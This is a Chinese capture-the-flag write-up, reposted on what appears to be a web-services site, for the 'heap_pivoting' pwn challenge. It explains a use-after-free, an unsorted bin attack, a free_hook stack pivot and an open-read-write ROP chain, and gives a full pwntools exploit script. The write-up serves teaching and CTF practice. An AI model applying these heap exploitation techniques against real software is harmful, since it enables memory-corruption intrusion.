☰
LiCTF2025 pwn heap_pivoting
2026/10/19 23:08:58 网站建设 项目流程

前言

挺新奇的堆题

题目分析

保护:无PIE,无canary
沙箱:禁止execve

(base) shawyvian@Shaw:/mnt/e/CTF/LilCTF/pwn/heap_Pivoting$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

虽然都是自定义函数,但是根据题目提示应该是仿照glibc2.23,里面可以分析出一些函数,大概就是一个菜单题

__int64add(){__int64 v0;// rsi__int64 n4_1;// raxunsignedintid;// [rsp+4h] [rbp-2Ch]_BYTE v3[24];// [rsp+10h] [rbp-20h] BYREFunsigned__int64 v4;// [rsp+28h] [rbp-8h]v4=__readfsqword(0x28u);write(1,"idx:",4);read(0,v3,16);id=atol(v3);if(id>4)sub_40EF90(1u);write(1,"Alright!\nwhat do you want to say\n",33);v0=malloc(256);read(0,v0,256);n4_1=(int)id;chunklist[id]=v0;if(__readfsqword(0x28u)!=v4)smash();returnn4_1;}
__int64delete(){__int64 v0;// rdx__int64 v1;// rcx__int64 result;// raxunsignedintid;// [rsp+Ch] [rbp-24h]_BYTE v4[24];// [rsp+10h] [rbp-20h] BYREFunsigned__int64 v5;// [rsp+28h] [rbp-8h]v5=__readfsqword(0x28u);write(1,"idx:",4);read(0,v4,16);id=atol(v4);if(id>4)sub_40EF90(1u);result=free(chunklist[id],v4,v0,v1);if(__readfsqword(0x28u)!=v5)smash();returnresult;}
__int64edit(){__int64 result;// raxunsignedintn4;// [rsp+Ch] [rbp-24h]_BYTE v2[24];// [rsp+10h] [rbp-20h] BYREFunsigned__int64 v3;// [rsp+28h] [rbp-8h]v3=__readfsqword(0x28u);write(1,"idx:",4);read(0,v2,16);n4=atol(v2);if(n4>4)sub_40EF90(1u);write(1,"context: ",9);result=read(0,chunklist[n4],256);if(__readfsqword(0x28u)!=v3)smash();returnresult;}

可以看到delete里有UAF,结合是glibc2.23,还有unsorted bin attack

指针都存在.bss段

.bss:00000000006CCD60????????????????chunklist dq?

Poc构造

add() --chunk 0
add() --chunk 1

delete(0)

然后edit(0),把chunk 0的bk改为chunklist_addr-0x10,此时
chunk0−>bk−>fd=chunklist[0] chunk_0->bk->fd=chunklist[0]chunk0​−>bk−>fd=chunklist[0]
此时再edit(2),unsorted bin attack触发,有
chunk0−>bk−>fd=topchunk chunk_0->bk->fd=topchunkchunk0​−>bk−>fd=topchunk
所以有
chunklist[0]=topchunk chunklist[0]=topchunkchunklist[0]=topchunk

然后我们edit(0)就可以修改topchunk的地址了
我这里把topchunk改为chunklist_addr
此后我们再malloc时返回的就是chunklist_addr+0x10(返回的是mem指针)
我选择执行add(0),然后写chunklist_addr

此时chunklist上就形成了循环链表,就可以任意在chunklist上随便写了
此时我们chunklist的结构是

chunklist[0] -> chunklist[2] chunklist[1] chunklist[2] -> chunklist[0]

然后我们可以用edit(2)来写chunklist,布置好chunklist后可以用edit实现任意地址写

由于题目是说heap pivoting,这里还要实现一次栈迁移,在迁移处写orw,关键在于如何迁移

在众多gadget里找到了这个可以利用

0x00000000004b8fb8:xchg edi,eax;xchg esp,eax;ret

这个相当于交换edi和esp

我们让free_hook指向这里,执行free(bss)就可以迁移了

那么我们在chunklist上写

payload = p64(free_hook) + p64(bss) + b'./flag\x00\x00'

这个作为edit(2)的payload

随后利用edit改free_hook和bss即可

这里关键在于如何获取free_hook的地址,由于本程序实现不基于libc,我们无法调试得到地址,但一切都在反编译里

__int64 __fastcallfree(__int64 a1,__int64 a2,__int64 a3,__int64 a4,inta5,inta6){__int64 n5;// raxunsigned__int64 n0x2000000;// rax__int64 v8;// rsiint*v9;// rdi__int64 n0x2000000_1;// rax__int64 v11;// rcx__int64 v12;// rsi__int64 v13;// rdxintv14;// ecxcharv15;// blunsigned__int64 v16;// raxintv17;// r9dunsigned__int64 v18;// rbp__int64 v19;// r13constchar*_unknown_;// rdxcharv22[16];// [rsp+2h] [rbp-48h] BYREF_BYTE v23[56];// [rsp+12h] [rbp-38h] BYREFvoid*retaddr;// [rsp+4Ah] [rbp+0h]n5=(__int64)n5;if(n5)returnn5(a1,retaddr);if(a1){n0x2000000=*(_QWORD*)(a1-8);v8=a1-16;if((n0x2000000&2)!=0){if(dword_6CA7D4||n0x2000000<=n0x2000000||n0x2000000>0x2000000){n0x2000000_1=n0x2000000&0xFFFFFFFFFFFFFFF8LL;}else{n0x2000000_1=*(_QWORD*)(a1-8)&0x3FFFFF8LL;n0x2000000=n0x2000000_1;qword_6CA7A0=2*n0x2000000_1;}v11=*(_QWORD*)(a1-16);v12=v11+n0x2000000_1;v13=a1-16-v11;v14=(v11+n0x2000000_1)|v13;if(((v12|v13)&(qword_6CB180-1))!=0){v15=dword_6CA770;n5=dword_6CA770&5;if((_DWORD)n5==5){returnsub_412060(dword_6CA770&2,(unsignedint)"%s\n",(unsignedint)"munmap_chunk(): invalid pointer",v14,a5,a6,v22[0]);}elseif((dword_6CA770&1)!=0){v23[0]=0;v16=sub_452660(a1,v23,16,0);v18=v16;if(v16>(unsigned__int64)v22){v19=v16-1;j_ifunc_426F80(v22,48);v18+=(unsigned__int64)&v22[-v19-1];}_unknown_="<unknown>";if(*(_QWORD*)qword_6CD300)_unknown_=*(constchar**)qword_6CD300;returnsub_412060(v15&2,(unsignedint)"*** Error in `%s': %s: 0x%s ***\n",(_DWORD)_unknown_,(unsignedint)"munmap_chunk(): invalid pointer",v18,v17,v22[0]);}elseif((dword_6CA770&2)!=0){sub_40E1A0();}}else{_InterlockedDecrement(&dword_6CA7C8);_InterlockedAdd64(&qword_6CA7D8,-v12);returnsub_4407D0(v13);}}else{v9=&dword_6CA800;if((n0x2000000&4)!=0)v9=*(int**)(v8&0xFFFFFFFFFC000000LL);returnsub_41A260(v9,v8,0);}}returnn5;}

这里是free的逻辑,我们发现开头检查n5是否为空,这个glibc2.23里的free_hook一样,如果非空就执行其指向的地址,所以n5就是free_hook

FreeHook=0x6CC5E8 FreeHook=0x6CC5E8FreeHook=0x6CC5E8
bss就随便选了
flag地址为chunklist_addr + 0x10

exp

frompwnimport*importsys context.log_level='debug'local=int(sys.argv[1])iflocal:p=process('./pwn')#gdb.attach(p)pause()else:p=remote('challenge.imxbt.cn',30648)defadd(id,content=b'a'):p.sendlineafter(b"Your choice:\n",b'1')p.sendlineafter(b"idx:",str(id).encode())p.sendlineafter(b"Alright!\nwhat do you want to say\n",content)defdelete(id):p.sendlineafter(b"Your choice:\n",b'2')p.sendlineafter(b"idx:",str(id).encode())defedit(id,content):p.sendlineafter(b"Your choice:\n",b'3')p.sendlineafter(b"idx:",str(id).encode())p.sendlineafter(b'context: ',content)chunk_list=0x6CCD60pause()add(0,b'12345678')add(1,b'222')delete(0)edit(0,p64(0)+p64(chunk_list-0x10))add(2,b'333')payload=p64(chunk_list)+p64(0)+p64(0x6CA858)*2#这个地址就是top chunk的top,这是为了让unsorted bin形成双向循环链表# 写在 top remainder unsorted bin[0] ->fd,bkedit(0,payload)payload=p64(chunk_list)add(0,payload)magic=0x4b8fb8#xchg esp, edi ;bss=0x00000000006cce40#rsp->bssfree_hook=0x6CC5E8flag=chunk_list+0x10payload=p64(free_hook)+p64(bss)+b'./flag\x00\x00'edit(2,payload)rdi=0x401a16rsi=0x401b37rdx=0x443136rax=0x41fc84syscall=0x4678e5payload1=p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)#openpayload1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x6CBBA0)+p64(rdx)+p64(0x60)+p64(rax)+p64(0)+p64(syscall)#readpayload1+=p64(rdi)+p64(1)+p64(rax)+p64(1)+p64(syscall)#writeedit(0,p64(magic))edit(1,payload1)delete(1)p.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询